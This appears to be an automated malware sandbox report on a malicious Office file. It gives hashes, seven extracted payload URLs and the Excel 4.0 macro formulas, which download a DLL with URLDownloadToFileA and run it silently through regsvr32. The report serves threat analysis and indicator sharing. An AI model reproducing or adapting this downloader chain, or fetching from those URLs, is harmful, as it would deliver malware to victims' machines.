General
-
Target
86430163339bdbfdff4aaaa9004b56f4e8639874b414e14b87f0abd564991fe6
-
Size
21KB
-
MD5
230981b6ec48198a46b1c7e4e75713ff
-
SHA1
ef070c88e8fde1fb57f84b59994248a734c0595b
-
SHA256
86430163339bdbfdff4aaaa9004b56f4e8639874b414e14b87f0abd564991fe6
-
SHA512
3c9f88859c4e264cf077129677f405f184c896b914f4292c05a9314db83b1c716a47b4c573a5f6bd5c1ddb333dc685830fc1e14c17ee4b8ed8d656366ab6a789
-
SSDEEP
384:33uAi/NjIVRS8EibbwBlw75SYrLb5CzgObff9kC+xbX74eII:LsNs/zXtFCBn9kC+xbL42
Malware Config
Extracted
https://www.almoeqatar.com/cgi-bin/3g/
http://www.ayelet.info/wp-admin/oHRoG0X9ubuNtQ/
http://www.lavameapp.com.ar/slide-images/7bzQevDGMld/
http://lista33rivera.uy/wp-content/jiBtjSaJMcM/
http://cenaf.com.co/error/TpewL/
http://pusatbahasa.unsyiah.ac.id/backup/qWzXJpGddclh4zZjt/
http://baykusoglu.com.tr/wp-admin/317Sz3wZsYmAAmmL6/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.almoeqatar.com/cgi-bin/3g/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ayelet.info/wp-admin/oHRoG0X9ubuNtQ/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.lavameapp.com.ar/slide-images/7bzQevDGMld/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://lista33rivera.uy/wp-content/jiBtjSaJMcM/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://cenaf.com.co/error/TpewL/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://pusatbahasa.unsyiah.ac.id/backup/qWzXJpGddclh4zZjt/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://baykusoglu.com.tr/wp-admin/317Sz3wZsYmAAmmL6/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
86430163339bdbfdff4aaaa9004b56f4e8639874b414e14b87f0abd564991fe6